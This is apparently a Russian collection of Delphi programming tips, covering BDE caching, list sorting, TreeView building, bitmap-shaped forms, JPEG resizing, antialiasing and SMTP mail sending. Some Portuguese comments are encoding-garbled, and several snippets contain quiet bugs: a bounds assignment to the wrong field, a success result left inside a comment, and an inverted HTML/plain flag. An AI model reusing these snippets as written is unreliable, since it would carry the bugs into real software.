Очень медленный доступ к таблице при первом обращении.
Данная проблема возникает из-за того, что BDE вначале запрашивает базу данных для получения информации о таблице, прежде чем он начнет с ней работать. Как только появляется информация о таблице, она кэшируется и обращение к таблице во время всего сеанса (пока TDatabase.Connection имеет значение True) происходит практически мгновенно. Для того, чтобы использовать кэшируемую информацию и при последующем запуске приложения, в конфигурации BDE найдите необходимый псевдоним и установите BDE CACHE = TRUE и BDE CACHE DIR = 'C:\temp' или любой другой удобный каталог.ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.
Получить путь к выделенному файлу в TShellListView.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// These two solutions don't work:
// Diese zwei Losungen funktionieren nicht wie erwartet:
{ 1. }
Label1.Caption := TShellFolder(ShellListView1.RootFolder).PathName;
{ 2. }
var
p: TPoint;
item: TListItem;
begin
GetCursorPos(p);
p := ShellListView1.ScreenToClient(p);
item := ShellListView1.GetItemAt(p.X, p.Y);
if item <> nil then
Caption := item.Caption
end;
// But this works:
// Aber so geht's:
Label1.Caption := ShellListView1.Folders[ShellListView1.ItemIndex].PathName
{**************************************************************}
{
To retrieve full paths to each file selected files:
}
var
path: string;
begin
for i:=0 to ShellListView1.SelCount-1 do
begin
path := ShellListView1.Folders[ShellListView1.GetNextItem(ShellListView1.Selected,
sdAll,[isSelected]).Index+i-1].PathName;
// ...
end;
end
Сортировать TStringList своим методом сортировки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Suppose you have a TListBox containing some date values.
If you want to sort the dates by setting the "Sorted"
property to "True" you will see that the dates are not sorted correctly:
12.03.2003
13.03.2003
29.01.2003
30.03.2003
Now what you can do is to is create a TStringlist, Assign the listbox.Items
property to it, sort the stringlist using CustomSort,
then Assign it back to listbox.items.
}
{
Angenommen du hast eine TListBox, welche verschiedene Daten enthalt.
Wenn man nun die Liste sortiert haben mochte, kann man die Eigenschaft
"Sorted" auf "True" stellen.
Man wird aber feststellen, dass die Daten nicht korrekt sortiert werden.
12.03.2003
13.03.2003
29.01.2003
30.03.2003
Wenn man nun eine TStringlist erstellt und ihr die Listbox.Items zuweist,
kann man die StringListe mit einer CustomSort Methode sortieren und
dann den Listbox.Items wieder die Items der StringListe zuweisen.
}
function CompareDates(List: TStringList; Index1, Index2: Integer): Integer;
var
d1, d2: TDateTime;
begin
d1 := StrToDate(List[Index1]);
d2 := StrToDate(List[Index2]);
if d1 < d2 then
Result := -1
else if d1 > d2 then Result := 1
else
Result := 0;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
sl: TStringList;
begin
sl := TStringList.Create;
try
// listbox1.Sorted := False !
sl.Assign(listbox1.Items);
sl.CustomSort(CompareDates);
listbox1.Items.Assign(sl);
finally
sl.Free
end;
end;
end.
{********************************************************************}
{ To sort Integer values:}
function CompareInt(List: TStringList; Index1, Index2: Integer): Integer;
var
d1, d2: Integer;
r1, r2: Boolean;
function IsInt(AString : string; var AInteger : Integer): Boolean;
var
Code: Integer;
begin
Val(AString, AInteger, Code);
Result := (Code = 0);
end;
begin
r1 := IsInt(List[Index1], d1);
r2 := IsInt(List[Index2], d2);
Result := ord(r1 or r2);
if Result <> 0 then
begin
if d1 < d2 then
Result := -1
else if d1 > d2 then
Result := 1
else
Result := 0;
end else
Result := lstrcmp(PChar(List[Index1]), PChar(List[Index2]));
end;
procedure TForm1.Button1Click(Sender: TObject);
var
sl: TStringList;
begin
sl := TStringList.Create;
try
// listbox1.Sorted := False;
sl.Assign(listbox1.Items);
sl.CustomSort(CompareInt);
listbox1.Items.Assign(sl);
finally
sl.Free;
end;
end;
TStringList. Сортировка и системная locale.
Автор: Alexander Ilyin.
При разработке CGI-программы, отображающей иерархическую структуру в виде дерева, возникла следующая проблема: под административным логином все работало правильно, под другим - ветки дерева перемешивались.Оказалось, дело в текущем locale. Так работает сортированный TStringList, использованный для хранения структур отображаемых данных. Дело в том, что там для упорядочивания элементов списка по ключам использована функция AnsiCompareText (а не AnsiCompareStr, как указано в хелпе).
ТИПОВЫЕ РЕШЕНИЯ. В ранних версиях Дельфи это поведение изменить можно, только переписав часть модуля Classes. В 5-й версии Борланд добавил к TStringList метод CustomSort (работающий, когда Sorted = False), который позволяет решить проблему путем подстановки своей функции сравнения строк. Сделать класс TStrList, в котором для упорядочивания использовать простую CompareStr. КОММЕНТАРИЙДействительно, в справке Delphi по TStringList указано, что для сортировки используется AnsiCompareStr, и порядок сортировки зависит от текущей локали во время работы программы. Анализ текста Classes.pas показывает, что все операции сравнения строк в списках (при сортировке по-умолчанию, при поиске, а также при IndexOf) производятся при помощи AnsiCompareText. Последняя отличается от AnsiCompareStr тем, что выполняет сравнение без учета регистра символов, и, следовательно, результат иным образом зависит от текущей локали.
Перевод списка файлов и каталогов из TStringList в TreeView с построением дерева каталогов.
Автор: Радионов Алексей WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Перевод списка файлов/каталогов из TStringList в
TreeView с построением "дерева каталогов"
Иногда бывает нужно построить "дерево каталогов" по
заданному списку файлов и папок (причем физически
эти файлы и каталоги могут не существовать).
Представляемый здесь код занимается именно этим.
Зависимости: sysutils, classes, comctrls
Автор: Радионов Алексей (Alx2), alx@argo.mv.ru, ICQ:113442587, Ульяновск
Copyright: Alx2
Дата: 3 июля 2002 г.
***************************************************** }
procedure FillTreeViewWithFiles(TreeView1: TTreeView; Strs: TStringList);
var
CachedStrs: TStringList; // CachedStrs вводится для ускорения поиска
// в уже готовом дереве.
procedure AddItem(Lev: Integer; ParentNode: TTreeNode; S: string);
function FindNodeWithText(AParent: TTreeNode; const S: string): TTreeNode;
var
K: Integer;
fStr: string;
tmpNode: TTreeNode;
begin
Result := nil;
fStr := S + IntToStr(Integer(AParent));
K := CachedStrs.IndexOf(fStr);
if K > -1 then
Result := Pointer(CachedStrs.Objects[K])
else
begin
if AParent <> nil then
tmpNode := AParent.getFirstChild
else
tmpNode := TreeView1.Items.GetFirstNode;
while tmpNode <> nil do
begin
if tmpNode.Text = S then
begin
Result := tmpNode;
CachedStrs.AddObject(fStr, Pointer(tmpNode));
break;
end;
tmpNode := tmpNode.getNextSibling;
end;
end
end;
var
prefix: string;
ID: Integer;
aNode: TTreeNode;
begin
if S = '' then
Exit;
ID := Pos('\', S);
prefix := '';
if ID > 0 then
prefix := Copy(S, 1, ID - 1)
else
begin
prefix := S;
S := '';
end;
aNode := FindNodeWithText(ParentNode, prefix);
if aNode = nil then
begin
aNode := TreeView1.Items.AddChild(ParentNode, prefix);
end;
AddItem(Lev + 1, aNode, Copy(S, ID + 1, Length(S)));
end;
var
K: Integer;
begin
CachedStrs := TStringList.Create;
CachedStrs.Duplicates := dupIgnore;
CachedStrs.Sorted := True;
try
TreeView1.Items.BeginUpdate;
TreeView1.SortType := stNone;
for K := 0 to Strs.Count - 1 do
AddItem(0, nil, Strs[K]);
finally
TreeView1.Items.EndUpdate;
CachedStrs.Free;
end;
end;
Пример использования:
// Построим, например, "дерево каталогов" по трем файлам:
procedure TForm1.Button1Click(Sender: TObject);
var
Strs: TStringList;
begin
Strs := TStringList.Create;
try
Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\Printers.dcu');
Strs.Add('D:\Program Files\Borland\Delphi6\Source\Vcl\WinHelp.dcu');
Strs.Add('C:\WINNTS\system\BORLNDMM.DLL');
FillTreeViewWithFiles(TreeView1, Strs);
finally
Strs.Free;
end;
end;
Создание уменьшенной копии картинки.
| Собрались программисты на перекур. Сидят они и битые полчаса говорят о компьютерах. Тут кто-то из них восклицает: - Ребята, что мы всё о компьютерах, да о компьютерах... Давайте лучше поговорим о женщинах! - Точно! Давайте! Вот я вчера такие гифы с бабами скачал!.. |
// Muito bom para se usar como Skins...
unit ProjetoX_Screen;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, DBCtrls;
type
TFormScreen = class(TForm)
ImgFundo: TImage;
procedure FormCreate(Sender: TObject);
public
{ Public declarations }
MyRegion : HRGN;
function BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
end;
var
FormScreen: TFormScreen;
implementation
{$R *.DFM}
{===========================molda o formato do fогmи1Ягiо no bitmap}
function TFormScreen.BitmapToRegion(hBmp: TBitmap; TransColor: TColor): HRGN;
const
ALLOC_UNIT = 100;
var
MemDC, DC: HDC;
BitmapInfo: TBitmapInfo;
hbm32, holdBmp, holdMemBmp: HBitmap;
pbits32 : Pointer;
bm32 : BITMAP;
maxRects: DWORD;
hData: HGLOBAL;
pData: PRgnData;
b, CR, CG, CB : Byte;
p32: pByte;
x, x0, y: integer;
p: pLongInt;
pr: PRect;
h: HRGN;
begin
Result := 0;
if hBmp <> nil then
begin
{ Cria um Device Context onde sегЯ armazenado o Bitmap }
MemDC := CreateCompatibleDC(0);
if MemDC <> 0 then
begin
{ Cria um Bitmap de 32 bits sem соmргеssТо }
with BitmapInfo.bmiHeader do
begin
biSize := sizeof(TBitmapInfoHeader);
biWidth := hBmp.Width;
biHeight := hBmp.Height;
biPlanes := 1;
biBitCount := 32;
biCompression := BI_RGB;
biSizeImage := 0;
biXPelsPerMeter := 0;
biYPelsPerMeter := 0;
biClrUsed := 0;
biClrImportant := 0;
end;
hbm32 := CreateDIBSection(MemDC, BitmapInfo, DIB_RGB_COLORS, pbits32,0, 0);
if hbm32 <> 0 then
begin
holdMemBmp := SelectObject(MemDC, hbm32);
{
Calcula quantos bytes por linha o bitmap de 32 bits ocupa.
}
GetObject(hbm32, SizeOf(bm32), @bm32);
while (bm32.bmWidthBytes mod 4) > 0 do
inc(bm32.bmWidthBytes);
DC := CreateCompatibleDC(MemDC);
{ Copia o bitmap para o Device Context }
holdBmp := SelectObject(DC, hBmp.Handle);
BitBlt(MemDC, 0, 0, hBmp.Width, hBmp.Height, DC, 0, 0, SRCCOPY);
{
Para melhor performance, sегЯ utilizada a fиnюТо ExtCreasteRegion
para criar o HRGN. Esta fиnюТо recebe uma estrutura RGNDATA.
Cada estrutura tегЯ 100 геtФngи1оs por раdгТо (ALLOC_UNIT)
}
maxRects := ALLOC_UNIT;
hData := GlobalAlloc(GMEM_MOVEABLE, sizeof(TRgnDataHeader) +
SizeOf(TRect) * maxRects);
pData := GlobalLock(hData);
pData^.rdh.dwSize := SizeOf(TRgnDataHeader);
pData^.rdh.iType := RDH_RECTANGLES;
pData^.rdh.nCount := 0;
pData^.rdh.nRgnSize := 0;
SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
{ Separa o pixel em suas cores fundamentais }
CR := GetRValue(ColorToRGB(TransColor));
CG := GetGValue(ColorToRGB(TransColor));
CB := GetBValue(ColorToRGB(TransColor));
{
Processa os pixels bitmap de baixo para cima, jЯ que bitmaps sТо
verticalmente invertidos.
}
p32 := bm32.bmBits;
inc(PChar(p32), (bm32.bmHeight - 1) * bm32.bmWidthBytes);
for y := 0 to hBmp.Height-1 do
begin
{ Processa os pixels do bitmap da esquerda para a direita }
x := -1;
while x+1 < hBmp.Width do
begin
inc(x);
{ Procura por uma faixa соntЭnиа de pixels nТо transparentes }
x0 := x;
p := PLongInt(p32);
inc(PChar(p), x * SizeOf(LongInt));
while x < hBmp.Width do
begin
b := GetBValue(p^);
if (b = CR) then
begin
b := GetGValue(p^);
if (b = CG) then
begin
b := GetRValue(p^);
if (b = CB) then
break;
end;
end;
inc(PChar(p), SizeOf(LongInt));
inc(x);
end;
if x > x0 then
begin
{
Adiciona o intervalo de pixels [(x0, y),(x, y+1)] como um novo
геtФngи1о na геgiТо.
}
if pData^.rdh.nCount >= maxRects then
begin
GlobalUnlock(hData);
inc(maxRects, ALLOC_UNIT);
hData := GlobalReAlloc(hData, SizeOf(TRgnDataHeader) +
SizeOf(TRect) * maxRects, GMEM_MOVEABLE);
pData := GlobalLock(hData);
Assert(pData <> NIL);
end;
pr := @pData^.Buffer[pData^.rdh.nCount * SizeOf(TRect)];
SetRect(pr^, x0, y, x, y+1);
if x0 < pData^.rdh.rcBound.Left then
pData^.rdh.rcBound.Left := x0;
if y < pData^.rdh.rcBound.Top then
pData^.rdh.rcBound.Top := y;
if x > pData^.rdh.rcBound.Right then
pData^.rdh.rcBound.Left := x;
if y+1 > pData^.rdh.rcBound.Bottom then
pData^.rdh.rcBound.Bottom := y+1;
inc(pData^.rdh.nCount);
{
No Windows98, a fиnюТо ExtCreateRegion() pode falhar se o n·mero
de геtФngи1оs for maior que 4000. Por este motivo, a геgiТо deve
ser criada por partes com menos de 4000 геtФngи1оs. Neste caso, foram
padronizadas regi§es com 2000 геtФngи1оs.
}
if pData^.rdh.nCount = 2000 then
begin
h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
(SizeOf(TRect) * maxRects), pData^);
Assert(h <> 0);
{ Combina a геgiТо parcial, гесЪm criada, com as anteriores }
if Result <> 0 then
begin
CombineRgn(Result, Result, h, RGN_OR);
DeleteObject(h);
end else
Result := h;
pData^.rdh.nCount := 0;
SetRect(pData^.rdh.rcBound, MaxInt, MaxInt, 0, 0);
end;
end;
end;
Dec(PChar(p32), bm32.bmWidthBytes);
end;
{ Cria a геgiТо geral }
h := ExtCreateRegion(NIL, SizeOf(TRgnDataHeader) +
(SizeOf(TRect) * maxRects), pData^);
Assert(h <> 0);
if Result <> 0 then
begin
CombineRgn(Result, Result, h, RGN_OR);
DeleteObject(h);
end else
Result := h;
{ Com a геgiТо final completa, o bitmap de 32 bits pode ser
removido da mem¾ria, com todos os outros ponteiros que foram criados.}
GlobalFree(hData);
SelectObject(DC, holdBmp);
DeleteDC(DC);
DeleteObject(SelectObject(MemDC, holdMemBmp));
end;
end;
DeleteDC(MemDC);
end;
end;
procedure TFormScreen.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
MyRegion := BitmapToRegion(imgFundo.Picture.Bitmap,imgFundo.Canvas.Pixels[0,0]);
SetWindowRgn(Handle,MyRegion,True);
end;
Para os outros fогmи1Ягiоs basta declarar as seguintes linhas na procedure FormCreate
procedure TFormXXXXXX.FormCreate(Sender: TObject);
begin
{carregue uma imagem na TImage ImgFundo}
{redesenha o formulario no formato do ImgFundo}
FormScreen.MyRegion := FormScreen.BitmapToRegion(imgFundo.Picture.Bitmap,
imgFundo.Canvas.Pixels[0,0]);
SetWindowRgn(Handle,FormScreen.MyRegion,True);
end;
|
Написать очень маленький инсталлятор.

| Я тебя инстальнул - я тебя и убью! |
Мне понравился следующий вариант: главное приложение само выполняет функции инсталлятора. Первоначально файл называется Setup.exe. При запуске под этим именем приложение устанавливает себя, после установки программа переименовывает себя и перестает быть инсталлятором.
Application.Initialize; if UpperCase(ExtractFileName(Application.ExeName))='SETUP.EXE' then // форма инсталлятора Application.CreateForm(TSetupForm, SetupForm) else // форма основной программы Application.CreateForm(TMainForm, MainForm); Application.Run; |
Вполне очевидно, что вместо переименования можно запускать программу с различными ключами, например /INSTALL и /UNINSTALL. Я очень часто пользуюсь таким приемом, особенно в тех случаях, когда проект состоит из одного файла.
Сглажено изменять размер JPEG.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Before importing an image (jpg) into a database,
I would like to resize it (reduce its size) and
generate the corresponding smaller file. How can I do this?
Load the JPEG into a bitmap, create a new bitmap
of the size that you want and pass them both into
SmoothResize then save it again ...
there's a neat routine JPEGDimensions that
gets the JPEG dimensions without actually loading the JPEG into a bitmap,
saves loads of time if you only need to test its size before resizing.
}
uses
JPEG;
type
TRGBArray = array[Word] of TRGBTriple;
pRGBArray = ^TRGBArray;
{---------------------------------------------------------------------------
-----------------------}
procedure SmoothResize(Src, Dst: TBitmap);
var
x, y: Integer;
xP, yP: Integer;
xP2, yP2: Integer;
SrcLine1, SrcLine2: pRGBArray;
t3: Integer;
z, z2, iz2: Integer;
DstLine: pRGBArray;
DstGap: Integer;
w1, w2, w3, w4: Integer;
begin
Src.PixelFormat := pf24Bit;
Dst.PixelFormat := pf24Bit;
if (Src.Width = Dst.Width) and (Src.Height = Dst.Height) then
Dst.Assign(Src)
else
begin
DstLine := Dst.ScanLine[0];
DstGap := Integer(Dst.ScanLine[1]) - Integer(DstLine);
xP2 := MulDiv(pred(Src.Width), $10000, Dst.Width);
yP2 := MulDiv(pred(Src.Height), $10000, Dst.Height);
yP := 0;
for y := 0 to pred(Dst.Height) do
begin
xP := 0;
SrcLine1 := Src.ScanLine[yP shr 16];
if (yP shr 16 < pred(Src.Height)) then
SrcLine2 := Src.ScanLine[succ(yP shr 16)]
else
SrcLine2 := Src.ScanLine[yP shr 16];
z2 := succ(yP and $FFFF);
iz2 := succ((not yp) and $FFFF);
for x := 0 to pred(Dst.Width) do
begin
t3 := xP shr 16;
z := xP and $FFFF;
w2 := MulDiv(z, iz2, $10000);
w1 := iz2 - w2;
w4 := MulDiv(z, z2, $10000);
w3 := z2 - w4;
DstLine[x].rgbtRed := (SrcLine1[t3].rgbtRed * w1 +
SrcLine1[t3 + 1].rgbtRed * w2 +
SrcLine2[t3].rgbtRed * w3 + SrcLine2[t3 + 1].rgbtRed * w4) shr 16;
DstLine[x].rgbtGreen :=
(SrcLine1[t3].rgbtGreen * w1 + SrcLine1[t3 + 1].rgbtGreen * w2 +
SrcLine2[t3].rgbtGreen * w3 + SrcLine2[t3 + 1].rgbtGreen * w4) shr 16;
DstLine[x].rgbtBlue := (SrcLine1[t3].rgbtBlue * w1 +
SrcLine1[t3 + 1].rgbtBlue * w2 +
SrcLine2[t3].rgbtBlue * w3 +
SrcLine2[t3 + 1].rgbtBlue * w4) shr 16;
Inc(xP, xP2);
end; {for}
Inc(yP, yP2);
DstLine := pRGBArray(Integer(DstLine) + DstGap);
end; {for}
end; {if}
end; {SmoothResize}
{---------------------------------------------------------------------------
-----------------------}
function LoadJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string): Boolean;
var
JPEGImage: TJPEGImage;
begin
if (FileName = '') then // No FileName so nothing
Result := False //to load - return False...
else
begin
try // Start of try except
JPEGImage := TJPEGImage.Create; // Create the JPEG image... try // now
try // to load the file but
JPEGImage.LoadFromFile(FilePath + FileName);
// might fail...with an Exception.
Bitmap.Assign(JPEGImage);
// Assign the image to our bitmap.Result := True;
// Got it so return True.
finally
JPEGImage.Free; // ...must get rid of the JPEG image. finally
end; {try}
except
Result := False; // Oops...never Loaded, so return False.
end; {try}
end; {if}
end; {LoadJPEGPictureFile}
{---------------------------------------------------------------------------
-----------------------}
function SaveJPEGPictureFile(Bitmap: TBitmap; FilePath, FileName: string;
Quality: Integer): Boolean;
begin
Result := True;
try
if ForceDirectories(FilePath) then
begin
with TJPegImage.Create do
begin
try
Assign(Bitmap);
CompressionQuality := Quality;
SaveToFile(FilePath + FileName);
finally
Free;
end; {try}
end; {with}
end; {if}
except
raise;
Result := False;
end; {try}
end; {SaveJPEGPictureFile}
{---------------------------------------------------------------------------
-----------------------}
procedure ResizeImage(FileName: string; MaxWidth: Integer);
var
OldBitmap: TBitmap;
NewBitmap: TBitmap;
aWidth: Integer;
begin
OldBitmap := TBitmap.Create;
try
if LoadJPEGPictureFile(OldBitmap, ExtractFilePath(FileName),
ExtractFileName(FileName)) then
begin
aWidth := OldBitmap.Width;
if (OldBitmap.Width > MaxWidth) then
begin
aWidth := MaxWidth;
NewBitmap := TBitmap.Create;
try
NewBitmap.Width := MaxWidth;
NewBitmap.Height := MulDiv(MaxWidth, OldBitmap.Height, OldBitmap.Width);
SmoothResize(OldBitmap, NewBitmap);
RenameFile(FileName, ChangeFileExt(FileName, '.$$$'));
if SaveJPEGPictureFile(NewBitmap, ExtractFilePath(FileName),
ExtractFileName(FileName), 75) then
DeleteFile(ChangeFileExt(FileName, '.$$$'))
else
RenameFile(ChangeFileExt(FileName, '.$$$'), FileName);
finally
NewBitmap.Free;
end; {try}
end; {if}
end; {if}
finally
OldBitmap.Free;
end; {try}
end;
{---------------------------------------------------------------------------
-----------------------}
function JPEGDimensions(Filename : string; var X, Y : Word) : boolean;
var
SegmentPos : Integer;
SOIcount : Integer;
b : byte;
begin
Result := False;
with TFileStream.Create(Filename, fmOpenRead or fmShareDenyNone) do
begin
try
Position := 0;
Read(X, 2);
if (X <> $D8FF) then
exit;
SOIcount := 0;
Position := 0;
while (Position + 7 < Size) do
begin
Read(b, 1);
if (b = $FF) then begin
Read(b, 1);
if (b = $D8) then
inc(SOIcount);
if (b = $DA) then
break;
end; {if}
end; {while}
if (b <> $DA) then
exit;
SegmentPos := -1;
Position := 0;
while (Position + 7 < Size) do
begin
Read(b, 1);
if (b = $FF) then
begin
Read(b, 1);
if (b in [$C0, $C1, $C2]) then
begin
SegmentPos := Position;
dec(SOIcount);
if (SOIcount = 0) then
break;
end; {if}
end; {if}
end; {while}
if (SegmentPos = -1) then
exit;
if (Position + 7 > Size) then
exit;
Position := SegmentPos + 3;
Read(Y, 2);
Read(X, 2);
X := Swap(X);
Y := Swap(Y);
Result := true;
finally
Free;
end; {try}
end; {with}
end; {JPEGDimensions}
Убрать зазубринки при рисовании линий.

При рисовании линии, особенно под маленьким углом, хорошо различимы отдельные точки. Для устранения этого недостатка я использую уменьшение изображения, как в предыдущем совете.
procedure TForm1.Button1Click(Sender: TObject);
var
x, y: integer;
i, j: integer;
r, g, b: integer;
begin
Form1.Canvas.Pen.Width := 10;
Form1.Canvas.MoveTo(10, 10);
Form1.Canvas.LineTo(90, 20);
for y := 0 to 10 do
begin
for x := 0 to 25 do
begin
r := 0;
for i := 0 to 3 do
for j := 0 to 3 do
r := r + GetRValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
r := round(r / 16);
g := 0;
for i := 0 to 3 do
for j := 0 to 3 do
g := g + GetGValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
g := round(g / 16);
b := 0;
for i := 0 to 3 do
for j := 0 to 3 do
b := b + GetBValue(Form1.Canvas.Pixels[4*x+i, 4*y+j]);
b := round(b / 16);
Form1.Canvas.Pixels[x,y+50] := RGB(r, g, b)
end;
Application.ProcessMessages;
end;
end;
|
Найти smtp mailserver по умолчанию.
Автор: http://www.swissdelphicenter.ch
{
Here is some code I successfully used te determine
the DEFAULT mailaccount, which is used in
Outlook Express, to send outgoing mail via SMTP.
}
procedure TForm1.ReadRegistryDefaults;
var
Registry: TRegistry;
AccountStr: string;
begin
Registry := TRegistry.Create;
try
Registry.RootKey := hkey_CURRENT_USER;
if Registry.OpenKey('software\microsoft\internet account manager', False)
then {}
begin
AccountStr := Registry.ReadString('default mail account');
Registry.CloseKey;
if (AccountStr <> '') then
if
Registry.OpenKey('software\microsoft\internet account manager\accounts\'
+
AccountStr, False) then {}
begin
Edit_Server.Text := Registry.ReadString('SMTP Server');
Edit_Account.Text := Registry.ReadString('SMTP Email Address');
Registry.CloseKey;
end;
end;
finally
Registry.Free;
end;
end;
Пример работы с SMTP.
Автор: Vit WEB-сайт: http://forum.vingrad.ru
unit Unit1;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, ComCtrls, Psock, NMsmtp;
type
TForm1 = class(TForm)
Memo: TRichEdit;
Panel1: TPanel;
SMTP: TNMSMTP;
Panel2: TPanel;
FromAddress: TEdit;
predefined: TLabel;
FromName: TEdit;
Subject: TEdit;
LocalProgram: TEdit;
ReplyTo: TEdit;
islog: TCheckBox;
Host: TEdit;
Port: TEdit;
userid: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
procedure CleanContext;
procedure PerformConnection;
procedure AddMessage(msg: string; color: integer);
procedure log(inpt: string);
procedure SetSMTP;
public
function SendEmail(_to, cc, bcc, Subject, body, attachment: string;
HTMLFormat: boolean): boolean;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.SetSMTP;
begin
SMTP.Host := Host.Text;
SMTP.Port := strtoint(Port.text);
SMTP.UserID := userid.text;
end;
function GetEmailDateTime: string;
var
tz: _time_Zone_information;
s: string;
begin
GetTimeZoneInformation(tz);
if (tz.Bias * 100 div 60) < 1000 then
s := format(' -0%d', [tz.Bias * 100 div 60])
else
s := format(' -%d', [tz.Bias * 100 div 60]);
result := formatdatetime('ddd, dd mmm yyyy hh:nn:ss', now) + s;
end;
procedure TForm1.CleanContext;
{set default values, some of them comes from "Setup" form}
begin
SMTP.PostMessage.FromAddress := FromAddress.text;
SMTP.PostMessage.FromName := FromName.text;
SMTP.PostMessage.ToAddress.Clear;
SMTP.PostMessage.ToCarbonCopy.clear;
SMTP.PostMessage.ToBlindCarbonCopy.clear;
SMTP.PostMessage.Body.clear;
SMTP.PostMessage.Attachments.clear;
SMTP.PostMessage.Subject := Subject.text;
SMTP.PostMessage.LocalProgram := LocalProgram.text;
(*Mon, 27 Nov 2000 12:37:46 -0700*)
SMTP.PostMessage.Date := GetEmailDateTime;
SMTP.PostMessage.ReplyTo := ReplyTo.Text;
end;
procedure TForm1.log(inpt: string);
var
outf: textfile;
begin {writing in the log file}
if not islog.checked then
exit;
assignfile(outf, changefileext(paramstr(0), '.log'));
if fileexists(changefileext(paramstr(0), '.log')) then
append(outf)
else
rewrite(outf);
writeln(outf, datetimetostr(now) + '|' + inpt);
closefile(outf);
end;
procedure TForm1.AddMessage(msg: string; color: integer);
begin {showing in the memo field progress...}
while memo.lines.Count > 2000 do
memo.lines.Delete(0);
memo.sellength := 0;
memo.selstart := length(memo.text);
memo.selattributes.Color := Color;
memo.seltext := #13#10+DateTimeTostr(now) + ' ' + msg;
memo.perform($00B7, 0, 0);
Application.ProcessMessages;
if color <> clRed then
log(DateTimeTostr(now) + ' ' + msg)
else
log('Error: ' + DateTimeTostr(now) + ' ' + msg);
end;
procedure TForm1.PerformConnection;
begin
while (not SMTP.connected) do
begin
SetSMTP;
AddMessage('Connecting to SMTP', clBlue);
application.processmessages;
try
SMTP.Connect;
AddMessage('No Errors', clBlue);
except
on e: exception do
AddMessage('Error conection: ' + e.message, clBlue);
end;
end;
end;
function TForm1.SendEmail(_to, cc, bcc, Subject, body, attachment: string;
HTMLFormat: boolean): boolean;
begin
PerformConnection;
result := true;
CleanContext;
try
if (attachment <> '') and (not Fileexists(attachment)) then
begin
AddMessage('Attachment is not ready yet (' + attachment + ') ', clNavy);
sleep(300);
result := false;
exit;
end;
SMTP.PostMessage.ToAddress.text := StringReplace(_to, ';', #13#10,
[rfReplaceAll, rfIgnoreCase]);
if cc <> '' then
SMTP.PostMessage.ToCarbonCopy.text := StringReplace(cc, ';', #13#10,
[rfReplaceAll, rfIgnoreCase]);
if bcc <> '' then
SMTP.PostMessage.ToBlindCarbonCopy.text := StringReplace(bcc, ';', #13#10,
[rfReplaceAll, rfIgnoreCase]);
if Subject <> '' then
SMTP.PostMessage.Subject := Subject;
if HTMLFormat then
SMTP.SubType := mtPlain
else
SMTP.SubType := mtHtml;
SMTP.PostMessage.Body.Text := Body;
if attachment <> '' then
SMTP.PostMessage.Attachments.add(attachment);
AddMessage('Sending to ' + _to, clGreen);
SMTP.SendMail;
AddMessage('Complete.' + #13#10,clGreen);
except
on e: sysutils.exception do
begin
AddMessage(e.message, clRed);
result := false;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
SendEmail('vit@vingrad.ru', '', '', 'test', 'body', '', False);
end;
end.
А это форма для этого примера:
object Form1: TForm1
Left = 278
Top = 108
Width = 539
Height = 480
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Memo: TRichEdit
Left = 0
Top = 0
Width = 346
Height = 420
Align = alClient
Lines.Strings = ('Memo')
TabOrder = 0
end
object Panel1: TPanel
Left = 0
Top = 420
Width = 531
Height = 33
Align = alBottom
Caption = 'Panel1'
TabOrder = 1
object Button1: TButton
Left = 440
Top = 8
Width = 75
Height = 25
Caption = 'Button1'
TabOrder = 0
OnClick = Button1Click
end
end
object Panel2: TPanel
Left = 346
Top = 0
Width = 185
Height = 420
Align = alRight
Caption = 'Panel2'
TabOrder = 2
object predefined: TLabel
Left = 8
Top = 8
Width = 87
Height = 13
Caption = 'predefined values:'
end
object FromAddress: TEdit
Left = 24
Top = 32
Width = 121
Height = 21
TabOrder = 0
Text = 'FromAddress'
end
object FromName: TEdit
Left = 24
Top = 56
Width = 121
Height = 21
TabOrder = 1
Text = 'FromName'
end
object Subject: TEdit
Left = 24
Top = 80
Width = 121
Height = 21
TabOrder = 2
Text = 'Subject'
end
object LocalProgram: TEdit
Left = 24
Top = 104
Width = 121
Height = 21
TabOrder = 3
Text = 'LocalProgram'
end
object ReplyTo: TEdit
Left = 24
Top = 128
Width = 121
Height = 21
TabOrder = 4
Text = 'ReplyTo'
end
object islog: TCheckBox
Left = 32
Top = 168
Width = 97
Height = 17
Caption = 'islog'
TabOrder = 5
end
object Host: TEdit
Left = 24
Top = 240
Width = 121
Height = 21
TabOrder = 6
Text = 'Host'
end
object Port: TEdit
Left = 24
Top = 264
Width = 121
Height = 21
TabOrder = 7
Text = 'Port'
end
object userid: TEdit
Left = 24
Top = 288
Width = 121
Height = 21
TabOrder = 8
Text = 'userid'
end
end
object SMTP: TNMSMTP
Port = 25
ReportLevel = 0
EncodeType = uuMime
ClearParams = True
SubType = mtPlain
Charset = 'us-ascii'
Left = 296
Top = 32
end
end
Простой протокол передачи почты (SMTP).
| - Здравствуйте, вы позвонили в Интернет, говорите, пожалуйста, громче, вас плохо слышно, здесь столько людей! |
